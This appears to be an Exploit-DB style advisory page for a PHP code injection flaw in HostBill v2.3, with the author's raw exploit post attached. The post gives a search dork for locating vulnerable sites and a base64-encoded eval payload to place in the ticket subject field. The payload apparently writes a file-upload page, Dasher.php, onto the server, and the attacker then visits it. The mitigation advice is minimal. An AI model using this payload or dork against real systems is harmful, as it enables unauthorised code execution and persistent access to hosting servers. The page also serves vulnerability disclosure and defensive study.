HostBill script suffering from Remote injection php code exploit

vendor:

HostBill

by:

Dr.DaShE

N/A

CVSS

N/A

Remote injection

CWE

Product Name: HostBill

Affected Version From: v2.3

Affected Version To:

Patch Exists: NO

Related CWE:

CPE:

Metasploit:

Other Scripts:

Platforms Tested: Apache Linux server

Unknown

HostBill script suffering from Remote injection php code exploit

The HostBill script is suffering from a remote injection vulnerability in the PHP code. An attacker can exploit this vulnerability by injecting malicious PHP code into the subject field of the new ticket form.

Mitigation:

The vendor should release a patch to fix this vulnerability. Users are advised to update to the latest version of HostBill to mitigate the risk.

Source

Exploit-DB raw data:

=-=-=-=-=-=-=-=-=-=-=-=-=-=-{In The Name Of Allah, The Most Beneficent, The Most Merciful}-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
[~] Tybe: suffering from RemotE injection php code
[~] Vendor:hostbillapp.com
[+] Software:HostBill
[+] Version : v2.3
[~] 
[+] author:Dr.DaShE
[~] TEAM: Team 403
[?] 
[-] contact: Dasher403[at]gmail.com
[?] Date: 2g.J4N.2oll 
[?] 
[?] T!ME: 04:46 AM ara-blackhat
[^] 
[?]
=============================================================================== 
# HostBill script suffering from RemotE injection php code exploit
=============================================================================== 


[!] Exploit Already Tested ... on apache linux server

Dork: Powered by HostBill

[^] Error console:-

http://localhost/billing/index.php?/tickets/new/
 
[?] poC <X> exploit:- 
 
http://localhost/billing/index.php?/tickets/new/

inject your evil php code exploit in subject field

encrypt by base64 encoder
ex:

{php}eval(base64_decode('JGNvZGUgPSBiYXNlNjRfZGVjb2RlKCJQRDl3YUhBTkNtVmphRzhnSnp4bWIzSnRJR0ZqZEdsdmJq
MGlJaUJ0WlhSb2IyUTlJbkJ2YzNRaUlHVnVZM1I1Y0dVOUltMTFiSFJwY0dGeWRDOW1iM0p0TFdS
aGRHRWlJRzVoYldVOUluVndiRzloWkdWeUlpQnBaRDBpZFhCc2IyRmtaWElpUGljN0RRcGxZMmh2
SUNjOGFXNXdkWFFnZEhsd1pUMGlabWxzWlNJZ2JtRnRaVDBpWm1sc1pTSWdjMmw2WlQwaU5UQWlQ
anhwYm5CMWRDQnVZVzFsUFNKZmRYQnNJaUIwZVhCbFBTSnpkV0p0YVhRaUlHbGtQU0pmZFhCc0lp
QjJZV3gxWlQwaVZYQnNiMkZrSWo0OEwyWnZjbTArSnpzTkNtbG1LQ0FrWDFCUFUxUmJKMTkxY0d3
blhTQTlQU0FpVlhCc2IyRmtJaUFwSUhzTkNnbHBaaWhBWTI5d2VTZ2tYMFpKVEVWVFd5ZG1hV3hs
SjExYkozUnRjRjl1WVcxbEoxMHNJQ1JmUmtsTVJWTmJKMlpwYkdVblhWc25ibUZ0WlNkZEtTa2dl
eUJsWTJodklDYzhZajVWY0d4dllXUWdVMVZMVTBWVElDRWhJVHd2WWo0OFluSStQR0p5UGljN0lI
ME5DZ2xsYkhObElIc2daV05vYnlBblBHSStWWEJzYjJGa0lFZEJSMEZNSUNFaElUd3ZZajQ4WW5J
K1BHSnlQaWM3SUgwTkNuME5DajgrIik7CiRmbyA9IGZvcGVuKCJEYXNoZXIucGhwIiwidyIpOwpm
d3JpdGUoJGZvLCRjb2RlKTs='));{/php}

http://localhost/Dasher.php



 
 
[~]-----------------------------{(Team 403)}------------------------------------------------
# 
[~] Greetz tO:Nex & WeeD & R3d D3v!L & HITLR & Red virus & Dr.Dmar & MaFiA & Mr.NsaaNy & ...etc ;
# 
[~]70 ALL ARAB!AN HACKER 3X3PT : LAM3RZ # ; 
# 
[?] special SupPoRT : ABH-Sec.Com & packet storm & 1337day & Maksymilian Arciemowicz # ;
# 
[~]spechial FR!ND: they all are spechials ;) #; 
# 
[~] !'M 4R48!4N 3XPL0!73R. #; 
# 
[~](>D!R 4ll 0R D!E<) #; 
# 
[~]---------------------------------------------------------------------------------------------